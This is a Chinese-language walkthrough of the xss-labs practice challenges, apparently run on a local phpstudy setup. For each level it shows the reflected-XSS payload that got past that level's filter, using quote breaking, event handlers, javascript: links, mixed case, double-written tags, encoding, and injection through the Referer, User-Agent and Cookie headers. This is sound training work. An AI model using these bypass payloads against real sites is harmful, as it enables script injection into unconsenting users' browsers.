level 1
首先查看页面源代码,弹窗他就会执行函数,从而可以进入下一关。
所以输入:
1 | <script>alert(1)</script> |
level 2
查看源码,与上面类似。所以先尝试
1 | <script>alert(1)</script> |
查看源码
查看php源码,htmlspecialchars()
函数把预定义的字符转换为 HTML 实体。
但是这里的input可以作为突破点,所以可以尝试闭合input标签
输入
1 | "><script>alert(1)</script><" |
这样就把input标签闭合了,进入下一关
level 3
同样尝试
1 | <script>alert(1)</script> |
发现和level 2不同,17行处应该也是htmlspecialchars()
函数把预定义的字符转换为 HTML 实体。
默认编码仅编码双引号。所以可以利用单引号绕过
所以尝试输入
1 | ' onclick=alert(1) ' |
点击搜索后页面没有反应,需要单击输入框方能进入下一关
level 4
依旧先尝试
1 | <script>alert(1)</script> |
不行,查看源代码,17行发现<和>被删除了
尝试level 3的方法,不过要把单引号改为双引号
1 | " onclick=alert(1) " |
通过
level 5
输入
1 | <script>alert(1)</script> |
再尝试
1 | " onclick=alert(1) " |
也会变为o_click
再尝试大小写混写
1 | <ScRiPt>alert(1)</script> |
发现并不起作用,那既然script标签不起作用,那就换一种
【Javascript
实际上是一个伪协议,引导用户访问,类似于超链接】
1 | "><a href="javascript:alert(1)">1</a> <" |
点击链接,进入下一关
level 6
输入
1 | <script>alert(1)</script> |
查看源代码,类似于level 5
于是尝试
1 | "><a href="javascript:alert(1)">1</a> <" |
不行
再尝试大小写混写
1 | "><a HrEf="javascript:alert(1)">1</a> <" |
level 7
输入
1 | <script>alert(1)</script> |
发现input标签里script都被删除了
看了一下php源码
尝试双写绕过
1 | "><scrscriptipt>alert(1)</scrscriptipt><" |
level 8
输入
1 | <script>alert(1)</script> |
看这里的源码,输入的值会插入到<input>
标签的value属性值中和
下方<a>
标签的href
属性值中。且<
和>
被编码,href属性值中script
中被插入了_
字符。
于是想到javascript:alert(1)
(伪协议:
1 | `<a href=javascript:alert(1)>123</a>` |
【Javascript
实际上是一个伪协议,引导用户访问,类似于超链接】)
尝试将javascript:alert(1)进行编码
输入
1 | javascript:alert(1) |
可到下一关
level 9
输入
1 | <script>alert(1)</script> |
查看源代码
<a>
标签的href
属性值中出现一个语句,应当是判断是否有链接插入(即http://)
输入
1 | javascript:alert('http://') |
查看源代码
和level 8类似
所以编码
1 | javascript:alert('http://') |
通过
level 10
尝试在地址栏添加
1 | <script>alert(1)</script> |
查看源代码
这道题看了一下网上的题解(参考题解),他构造了一个语句
1 | <script>alert('xss')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text" |
而后查看源代码发现,只有t_sort那行发生变化,所以以此为突破点
所以输入
1 | <script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss') |
通过
level 11
看源代码和level 10类似,但多了一个t_ref,构造
1 | <script>alert('1')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"&t_ret=" type="text" |
t_sort发生变化,但是双引号被编码,无法闭合。
所以换种方式,尝试抓包
(说明:本次xss-lab是用phpstudy搭的,刚开始没抓到包,搞不懂为什么,后来通过网上查找解决方案解决了)
发送到Repeater
添加referer:123
由此构造referer:”type=”text” onclick=”alert(‘1’)
而后通过浏览器响应(这里也弄了一会时间……)
进入下一关
level 12
输入
1 | <script>alert('1')</script> |
查看源代码
再试试抓包
可以发现源代码中t_ua的值就是User-Agent的值
将User-Agent的值改为”type=”text” onclick=”alert(‘1’)
点击放包就完成了
level 13
看源代码猜测应该是cookie的值。同上,抓包
改值:Cookie:user=”type=”text” onclick=”alert(‘1’)
level 15
查看源代码,搜了一下ng-include
ng-include
指令用于包含外部的 HTML 文件。包含的内容将作为指定元素的子节点。
ng-include
属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。
搜索题解,说是包含一个有XSS漏洞的URL就可触发这里的XSS。(有点懵)
1 | src='level1.php?name=<img src=x onerror=alert(1)>' |
level 16
输入
1 | <script>alert(1)</script> |
查看源代码
搜索得:在HTML中,在nbsp
前面加“&”后面加分号“;”时表示一个“空格”
看php源代码,script,空格,/全部替换
所以,可以使用img
绕过,输入
1 | <img%0asrc=x%0aonerror=alert(1)> |
这里用%0a
(换行)来代替空格
level 17
看源代码,有个swf
格式没法显示,要flash插件,于是,就添加了flash插件
尝试了一下
1 | <script>alert(1)</script> |
不行,查看源代码,发现<和>都被编码了
尝试
1 | onclick=alert(1) |
点击后成功
level 18
出现了这个画面
试了好几种方式都变不了,看了php源代码,和level 17差不多。所以也尝试了
1 | onclick=alert(1) |
level 19(??)
看源代码,这里与上面两题不同的地方在于它有双引号,
尝试将双引号闭合,但是,双引号会被编码。所以不行。
题解中说到这关是要flash xss,但是跟着题解做,访问xsf03.swf?a=b
这一步就卡住了(flash的问题吧)……先这样吧